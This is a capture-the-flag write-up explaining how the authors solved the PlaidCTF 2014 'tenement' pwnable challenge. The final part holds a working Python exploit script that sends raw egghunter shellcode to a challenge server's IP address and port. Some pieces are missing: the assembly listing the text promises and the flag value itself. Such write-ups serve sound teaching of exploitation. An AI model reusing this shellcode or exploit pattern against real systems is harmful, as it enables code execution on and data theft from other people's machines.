Pwnables 100 PlaidCTF 2014
Credit to Ryan & Darek
This was a very interesting and fun challenge. First in order to debug the program live we had to install some dependencies:
- Libseccomp: libseccomp2_2.1.0+dfsg-1_i386.deb
- Libjansson: libjansson4_2.2.1-1_i386.deb
Now we are presented with the following message when trying
to run the tenement program:
We need to provide a config file for the program. Upon
further inspection of the executable we found that the config file needed to be
in json format and the program expects the json to have two elements a string "key" and an integer array "addrs".
We see that the flag is snprintf into the heap in
the following format: PPPP: FLAG. This will be important to us later when we
want to find the flag in memory. After the config file is read into memory the
executable calls mmap, then verifies (integer inside the addrs array – address
returned by mmap = 4000h). If this check passes the executable copies
the flag into the virtual address space created by mmap and marks the whole
section as read only.
Using this information we were able to recreate the json
config file required to run program:
{
"key":"HEREISTHEFLAG" , "addrs":[-1208098816]}
Sure enough we can verify at run time the flag is
copied into a very high address in memory: 0xB7FDA000.
Vulnerable Function
After the config file information is loaded it calls the
vulnerable function. The function reads 0x80 bytes onto a stack address that is
pointed to by edi, then calls edi.
So we have the ability to put and run any shellcode we want
on the stack. Unfortunately however, if you attempt to run shellcode that executes a
system command like “ls” you get the following message: Bad System Call. The
solution to this problem is to write shellcode that we will use as an egghunter to search memory for the “PPPP” tag, once the tag is found we can call write
and print out the flag the assembly of our egghunter is as follows:
Our final exploit
code:
# Imports
import socket
HOST = '54.237.240.143' # The Host address to connect to
PORT = 9999 # The port to connect to
# Create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the remote server
s.connect((HOST, PORT))
# Receive welcome text
r = s.recv(1024)
# Print welcome text
print r
# Egghunter shellcode
shellcode = ("\xfc\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\xcd\x80\x3c\xf2\x74\xee\xb8\x50\x50\x50\x50\x89\xd7\xaf\x75\xe9\x89\xFB\x6A\x32\x53\x6A\x01\x57\xB8\x60\x88\x04\x08\xFF\xE0")
# Send the shellcode
s.send(shellcode)
# Shellcode is sent
print 'Waiting for flag'
# Receive flag
r = s.recv(1024)
# Print the flag
print `r`
# Close our connection
s.close()
The Flag: